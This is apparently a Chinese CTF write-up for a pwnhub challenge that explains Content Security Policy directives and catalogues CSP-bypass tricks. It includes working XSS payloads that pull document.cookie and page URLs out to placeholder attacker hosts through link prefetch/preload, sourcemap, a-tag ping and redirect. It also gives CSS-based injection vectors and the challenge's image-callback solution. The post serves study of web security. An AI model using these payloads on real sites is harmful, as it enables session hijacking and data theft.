pwnhub-打开电脑(关于 csp bypass 的记录)
CSP 全称 Content Security Policy,是一种浏览器安全应对策略,用于限制浏览器加载资源的权限,在一定程度上减少了 XSS 的发生。但是也由于其功能的过于强大,使得网站有些正常功能都不便于执行,因此,在使用时会有很多的疏忽,也容易 bypass,导致一些安全问题。
现代浏览器一般都支持 CSP 安全策略,其支持的策略列表及含义如下:
|
指 令 |
说 明 |
|
default-src |
默认策略,针对所有请求类型生效 |
|
script-src |
脚本加载策略 |
|
img-src |
图片加载策略 |
|
style-src |
样式加载策略 |
|
connect-src |
网络连接请求加载策略,当拒绝时,浏览器会响应 HTTP 400 |
|
font-src |
Web Font 加载策略 |
|
object-src |
插件加载策略,包括 <OBJECT>、<EMBED> 等标签 |
|
media-src |
多媒体加载策略,包括 <AUDIO>、<VIDEO>等标签 |
|
frame-src |
框架加载策略 |
|
sandbox |
对所请求的资源启用 sandbox(类似于 iframe 的 sandbox 属性) |
|
report-uri |
请求资源被策略拒绝时上报日志信息的 URL |
每条指令均支持不同的策略值,这些值形成一整个完整策略,如:X-Content-Security-Policy: script-src 'self' ,表示加载外部脚本时只允许加载和自己同源的脚本,其他地方的脚本全部拒绝。策略值含义如下:
|
策 略 值 |
说 明 |
|
* |
允许所有内容 |
|
'none' |
拒绝所有内容 |
|
'self' |
允许同源内容 |
|
data |
允许 data:URL |
|
www.xx.com |
允许加载指定域名的资源,支持通配符 |
|
*.xx.com |
|
|
https://xx.com |
|
|
https: |
允许加载 https 资源 |
|
'unsafe-inline' |
允许加载内联资源,如 onload 这样的事件 |
|
'unsafe-eval' |
允许使用 eval() |
加入某个页面有同源限制,那么即使在内部系统上找到了 XSS 漏洞,当其在加载外部脚本时,就会被 CSP 策略阻止,从而保护了该页面的安全。当然,我们这里不谈其安全性是如何保护的,而是谈谈常见的 bypass CSP 的方法。
1、xxx-src *
* 符号出现,表示允许除了内联函数以外所有的 url 式的请求,那么 bypass 就可以类似于 src 引用的方式,很容易造成 csrf 漏洞。问题出得最多的在 frame-src * ,但是由于同源导致不能 XSS ,但是对于构造 CSRF 则是毫无问题。
<script>alert(1)</script> //被阻止 <script src=http://xxx/xx.js></script> //可执行
2、script-src unsafe-inline
unsafe-inline 属性使得可以加载内联资源,如 onload 这样的事件,但是不能对别的域下的资源发起请求。
<script>alert(1)</script> //可执行 <script src=http://xxx/xx.js></script> //被阻止
3、xxx-src self
self 代表只接受符合同源策略的 url,但是可以通过预加载等手段进行 bypass,这是在 HTML5 中的一个新特性:页面资源预加载(Link prefetch),他是浏览器提供的一个技巧,目的是让浏览器在空闲时间下载或预读取一些文档资源,用户在将来将会访问这些资源。一个Web页面可以对浏览器设置一系列的预加载指示,当浏览器加载完当前页面后,它会在后台静悄悄的加载指定的文档,并把它们存储在缓存里。当用户访问到这些预加载的文档后,浏览器能快速的从缓存里提取给用户。
可以细分为几个不同的技术:DNS-prefetch、subresource 和标准的 prefetch、preconnect、prerender ,并不是像很多人想象的那样,只有 Chrome 才支持预加载,目前绝大多数的浏览器都已支持。通过Link标记实现的,将 rel 属性指定为 prefetch ,在 href 属性里指定要加载资源的地址即可。
就当前来说,Firefox 相对于 Chrome 来说,CSP 执行规范要相对于高一些,导致二者预加载的 rel 标记不太一样,如下:
Firefox: <link rel='prefetch' href='http://xxx/xx'> <link rel="dns-prefetch" href="http://xxx/xx"> Chrome: <link rel='prerender' href='http://xxx/xx'> <link rel='preload' href='//xxx/xx'>
就目前的对于 unsafe-inline 的 bypass 方法,
Firefox:
dc = document.cookie; dcl = dc.split(";"); n0 = document.getElementsByTagName("HEAD")[0]; for (var i=0; i<dcl.length;i++){ console.log(dcl[i]); n0.innerHTML = n0.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") + ".xxx.io\">"; }
Chrome:
var n0t = document.createElement("link"); n0t.setAttribute("rel", "preload"); n0t.setAttribute("href", "//ip/"+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})())); document.head.appendChild(n0t);
不是所有的资源都可以预加载,当资源为以下列表中的资源时,将阻止预渲染操作:
弹窗页面 含恶意软件的页面 URL 中包含下载资源 页面中包含音频、视频 POST、PUT 和 DELETE 操作的 ajax 请求 HTTP 认证(Authentication) / HTTPS 页面 正在运行 Chrome developer tools 开发工具
还有一些其它特性,jQuery sourcemap、a标签的ping属性、http 204,都是参照柠檬师傅的方法,没测试了。
jQuery sourcemap
document.write(`<script> //@ sourceMappingURL=http://xxxx/`+document.cookie+`<\/script>`);
a标签的ping属性
a=document.createElement('a'); a.href='#'; a.ping='http://xxx.io/?' + escape(document.cookie); a.click();
http 204
location='//xxx.io/csi?' + escape(document.cookie);
对于文件上传,在对于设置了 self 而没有的 unsafe-inline 时,只能寻求站内的上传点,如果限制了目录,可以通过 %2f 跨目录加载。
回到 pwnhub 这道题来,看到返回的 CSP 信息:
Content-Security-Policy default-src *; img-src * data: blob:; frame-src 'self'; script-src 'self' cdn.bootcss.com 'unsafe-eval' ; style-src 'self' cdn.bootcss.com 'unsafe-inline'; connect-src * wss:;
看到了对于框架加载以及脚本加载都限制了同源,对于 cdn.bootcss.com 下可以加载内联,但是感觉也没什么用,唯一可利用点就是 img-src * 这个点了,background - image : url (xxx) 来设置元素的背景图像,也就是可以远程访问资源,于是 paload 可为:
xx style=background-image:url('http://ip')
监听到连接请求后,就可以看到有个后台地址,然后加上 xff 对应访问即可获得 flag 。
其实对于这类在CSS中输出的点,可以形成的XSS方式还有很多(但是有一些对于不同浏览器来说,已经是不支持的了),详细的在刺总的《白帽子讲Web安全》一书中有说道,如下:
<STYLE>@import 'http://ip';</STYLE> // Firefox 51.0.1 不支持 <STYLE>BODY{-moz-binding:url("http://ip#xss")}</STYLE> // Firefox 51.0.1 不支持 <XSS STYLE="behavior: url(xss.htc)";> // Firefox 51.0.1 不支持 <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI> // Firefox 51.0.1 不支持 <DIV STYLE="background-image: url(javascript:alert('XSS'))"> //Firefox 51.0.1 支持 <DIV STYLE="width: expression(alert('XSS'));"> // IE5~7,Firefox 51.0.1 不支持
这篇文章基本上都是参考的大牛们博客上的一些关于 bypass CSP 的文章,自己对于这块领悟得不深,就简单测试了一下,记录下来,方便以后用到时查阅。学习 ...
http://www.cnblogs.com/iamstudy/articles/bypass_csp_study.html http://lorexxar.cn/2016/08/08/ccsp/ http://paper.seebug.org/91/ https://blog.0daylabs.com/2016/09/09/bypassing-csp/
浙公网安备 33010602011771号